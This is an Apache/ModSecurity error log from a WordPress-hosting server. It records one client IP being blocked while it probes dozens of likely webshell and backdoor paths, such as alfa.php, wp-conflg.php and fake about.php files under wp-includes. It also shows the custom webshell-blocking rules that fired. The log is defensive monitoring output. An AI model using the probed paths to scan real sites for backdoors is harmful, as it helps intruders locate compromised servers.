[Wed Jan 21 01:07:39.347314 2026] [:error] [pid 56360:tid 56370] [client 20.230.68.0:13268] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aW-2W01J8CD1rR-wXXuICwAAAQg"]
[Wed Jan 21 01:07:39.964806 2026] [:error] [pid 54260:tid 54325] [client 20.230.68.0:13248] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aW-2W9g7jS3jmpUN0WBIcwAAAVE"]
[Wed Jan 21 01:07:40.561602 2026] [:error] [pid 54382:tid 54389] [client 20.230.68.0:13229] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aW-2XETJlZ9SJ6sBOEvnTAAAAAQ"]
[Wed Jan 21 01:07:41.138988 2026] [:error] [pid 17295:tid 17301] [client 20.230.68.0:13202] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aW-2XfZJhGdrcqZICT_MNwAAAYM"]
[Wed Jan 21 01:07:41.576919 2026] [:error] [pid 17295:tid 17310] [client 20.230.68.0:18272] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aW-2XfZJhGdrcqZICT_MOQAAAYw"]
[Wed Jan 21 01:07:42.038713 2026] [:error] [pid 54382:tid 54400] [client 20.230.68.0:18232] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aW-2XkTJlZ9SJ6sBOEvnUQAAAA8"]
[Wed Jan 21 01:07:42.540219 2026] [:error] [pid 54382:tid 54405] [client 20.230.68.0:18216] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aW-2XkTJlZ9SJ6sBOEvnVAAAABQ"]
[Wed Jan 21 01:07:43.683965 2026] [:error] [pid 17340:tid 17376] [client 20.230.68.0:13250] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aW-2X_AsOSYVgw_35t3YygAAAlQ"]
[Wed Jan 21 01:07:44.477551 2026] [:error] [pid 54259:tid 54296] [client 20.230.68.0:13214] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aW-2YA2q1USrePnOoFQg3QAAAJM"]
[Wed Jan 21 01:07:45.263253 2026] [:error] [pid 17340:tid 17368] [client 20.230.68.0:18220] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aW-2YfAsOSYVgw_35t3YzAAAAkw"]
[Wed Jan 21 01:07:45.960409 2026] [:error] [pid 17340:tid 17359] [client 20.230.68.0:18210] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aW-2YfAsOSYVgw_35t3YzQAAAkM"]
[Wed Jan 21 01:07:46.869894 2026] [:error] [pid 56291:tid 56305] [client 20.230.68.0:13189] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aW-2YrXgW_1T5Nikxa0ehwAAAEo"]
[Wed Jan 21 01:07:47.675521 2026] [:error] [pid 8455:tid 8471] [client 20.230.68.0:13266] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aW-2Y4JiHdPVtruynXDhPQAAA04"]
[Wed Jan 21 01:07:48.574798 2026] [:error] [pid 56360:tid 56386] [client 20.230.68.0:18221] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aW-2ZE1J8CD1rR-wXXuIDQAAARg"]
[Wed Jan 21 01:07:49.225604 2026] [:error] [pid 54259:tid 54299] [client 20.230.68.0:13256] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aW-2ZQ2q1USrePnOoFQg3gAAAJY"]
[Wed Jan 21 01:07:49.934152 2026] [:error] [pid 17340:tid 17365] [client 20.230.68.0:13271] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aW-2ZfAsOSYVgw_35t3YzwAAAkk"]
[Wed Jan 21 01:07:50.974393 2026] [:error] [pid 63647:tid 63668] [client 20.230.68.0:18211] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aW-2ZlUaYw1xHOoaFFJCZgAAAhM"]
[Wed Jan 21 01:07:52.153125 2026] [:error] [pid 63647:tid 63670] [client 20.230.68.0:13198] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aW-2aFUaYw1xHOoaFFJCZwAAAhU"]
[Wed Jan 21 01:07:52.635656 2026] [:error] [pid 54382:tid 54398] [client 20.230.68.0:13296] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aW-2aETJlZ9SJ6sBOEvnXAAAAA0"]
[Wed Jan 21 01:07:53.284588 2026] [:error] [pid 54382:tid 54399] [client 20.230.68.0:18229] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aW-2aUTJlZ9SJ6sBOEvnXgAAAA4"]
[Wed Jan 21 01:07:53.762897 2026] [:error] [pid 8455:tid 8468] [client 20.230.68.0:13252] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aW-2aYJiHdPVtruynXDhPgAAA0s"]
[Wed Jan 21 01:07:54.310414 2026] [:error] [pid 56360:tid 56371] [client 20.230.68.0:13185] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aW-2ak1J8CD1rR-wXXuIEAAAAQk"]
[Wed Jan 21 01:07:54.798049 2026] [:error] [pid 54259:tid 54282] [client 20.230.68.0:18284] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aW-2ag2q1USrePnOoFQg4QAAAIU"]
[Wed Jan 21 01:07:55.576602 2026] [:error] [pid 54259:tid 54301] [client 20.230.68.0:18249] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aW-2aw2q1USrePnOoFQg4wAAAJg"]
[Wed Jan 21 01:07:56.160558 2026] [:error] [pid 54260:tid 54335] [client 20.230.68.0:13137] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aW-2bNg7jS3jmpUN0WBIeAAAAVg"]
[Wed Jan 21 01:07:56.855827 2026] [:error] [pid 56326:tid 56331] [client 20.230.68.0:13196] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aW-2bBA6mi8Uwf45Uy9g_gAAAMM"]
[Wed Jan 21 01:07:57.471812 2026] [:error] [pid 8455:tid 8470] [client 20.230.68.0:13276] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aW-2bYJiHdPVtruynXDhPwAAA00"]
[Wed Jan 21 01:07:57.884330 2026] [:error] [pid 56326:tid 56335] [client 20.230.68.0:18235] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aW-2bRA6mi8Uwf45Uy9g_wAAAMc"]
[Wed Jan 21 01:07:58.462360 2026] [:error] [pid 63647:tid 63664] [client 20.230.68.0:18209] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aW-2blUaYw1xHOoaFFJCagAAAg8"]
[Wed Jan 21 01:07:59.193133 2026] [:error] [pid 56360:tid 56372] [client 20.230.68.0:18265] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aW-2b01J8CD1rR-wXXuIEgAAAQo"]
[Wed Jan 21 01:07:59.808750 2026] [:error] [pid 54260:tid 54313] [client 20.230.68.0:13238] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aW-2b9g7jS3jmpUN0WBIeQAAAUU"]
[Wed Jan 21 01:08:00.400832 2026] [:error] [pid 54382:tid 54392] [client 20.230.68.0:13264] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aW-2cETJlZ9SJ6sBOEvnZQAAAAc"]
[Wed Jan 21 01:08:01.306900 2026] [:error] [pid 56360:tid 56365] [client 20.230.68.0:13286] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aW-2cU1J8CD1rR-wXXuIFQAAAQM"]
[Wed Jan 21 01:08:01.862946 2026] [:error] [pid 56326:tid 56347] [client 20.230.68.0:13226] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aW-2cRA6mi8Uwf45Uy9hAAAAANM"]
[Wed Jan 21 01:08:02.378984 2026] [:error] [pid 17295:tid 17316] [client 20.230.68.0:13124] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aW-2cvZJhGdrcqZICT_MRQAAAZI"]
[Wed Jan 21 01:08:02.888534 2026] [:error] [pid 54382:tid 54407] [client 20.230.68.0:13197] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aW-2ckTJlZ9SJ6sBOEvnagAAABY"]
[Wed Jan 21 01:08:03.800761 2026] [:error] [pid 54382:tid 54387] [client 20.230.68.0:13130] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aW-2c0TJlZ9SJ6sBOEvnawAAAAI"]
[Wed Jan 21 01:08:04.420701 2026] [:error] [pid 54260:tid 54315] [client 20.230.68.0:13288] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aW-2dNg7jS3jmpUN0WBIewAAAUc"]
[Wed Jan 21 01:08:04.927081 2026] [:error] [pid 56360:tid 56368] [client 20.230.68.0:13308] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aW-2dE1J8CD1rR-wXXuIFwAAAQY"]
[Wed Jan 21 01:08:05.527498 2026] [:error] [pid 17295:tid 17309] [client 20.230.68.0:18228] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aW-2dfZJhGdrcqZICT_MdwAAAYs"]
[Wed Jan 21 01:08:06.193330 2026] [:error] [pid 56360:tid 56384] [client 20.230.68.0:13293] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aW-2dk1J8CD1rR-wXXuIGQAAARY"]
[Wed Jan 21 01:08:06.788187 2026] [:error] [pid 54259:tid 54281] [client 20.230.68.0:13160] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aW-2dg2q1USrePnOoFQg5QAAAIQ"]
[Wed Jan 21 01:08:07.238661 2026] [:error] [pid 17295:tid 17314] [client 20.230.68.0:13295] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aW-2d_ZJhGdrcqZICT_MeQAAAZA"]
[Wed Jan 21 01:08:07.953830 2026] [:error] [pid 54259:tid 54279] [client 20.230.68.0:18195] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aW-2dw2q1USrePnOoFQg5wAAAII"]
[Wed Jan 21 01:08:08.483377 2026] [proxy_fcgi:error] [pid 56291:tid 56315] [client 20.230.68.0:18233] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:08:08.690882 2026] [proxy_fcgi:error] [pid 56291:tid 56314] [client 20.230.68.0:18233] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:08:08.912243 2026] [proxy_fcgi:error] [pid 56291:tid 56318] [client 20.230.68.0:18233] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:08:09.616925 2026] [proxy_fcgi:error] [pid 56291:tid 56311] [client 20.230.68.0:18233] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:08:09.834342 2026] [:error] [pid 56291:tid 56317] [client 20.230.68.0:18233] [client 20.230.68.0] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aW-2ebXgW_1T5Nikxa0elAAAAFY"]
[Wed Jan 21 01:08:10.797164 2026] [:error] [pid 8455:tid 8462] [client 20.230.68.0:18243] [client 20.230.68.0] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aW-2eoJiHdPVtruynXDhQwAAA0U"]
[Wed Jan 21 01:08:12.168394 2026] [:error] [pid 54259:tid 54300] [client 20.230.68.0:13186] [client 20.230.68.0] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aW-2fA2q1USrePnOoFQg7QAAAJc"]
[Wed Jan 21 01:08:13.007043 2026] [:error] [pid 17295:tid 17317] [client 20.230.68.0:18180] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aW-2ffZJhGdrcqZICT_MgAAAAZM"]
[Wed Jan 21 01:08:13.506054 2026] [:error] [pid 56291:tid 56310] [client 20.230.68.0:13232] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aW-2fbXgW_1T5Nikxa0elgAAAE8"]
[Wed Jan 21 01:08:14.145580 2026] [:error] [pid 17295:tid 17300] [client 20.230.68.0:13217] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aW-2fvZJhGdrcqZICT_MggAAAYI"]
[Wed Jan 21 01:08:14.592273 2026] [:error] [pid 54260:tid 54333] [client 20.230.68.0:18207] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aW-2ftg7jS3jmpUN0WBIgQAAAVc"]
[Wed Jan 21 01:08:15.313380 2026] [:error] [pid 54260:tid 54330] [client 20.230.68.0:13230] [client 20.230.68.0] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aW-2f9g7jS3jmpUN0WBIgwAAAVU"]
[Wed Jan 21 01:08:16.047233 2026] [:error] [pid 54260:tid 54331] [client 20.230.68.0:18277] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aW-2gNg7jS3jmpUN0WBIhAAAAVY"]
[Wed Jan 21 01:08:16.665768 2026] [:error] [pid 54260:tid 54321] [client 20.230.68.0:13237] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aW-2gNg7jS3jmpUN0WBIhgAAAU0"]
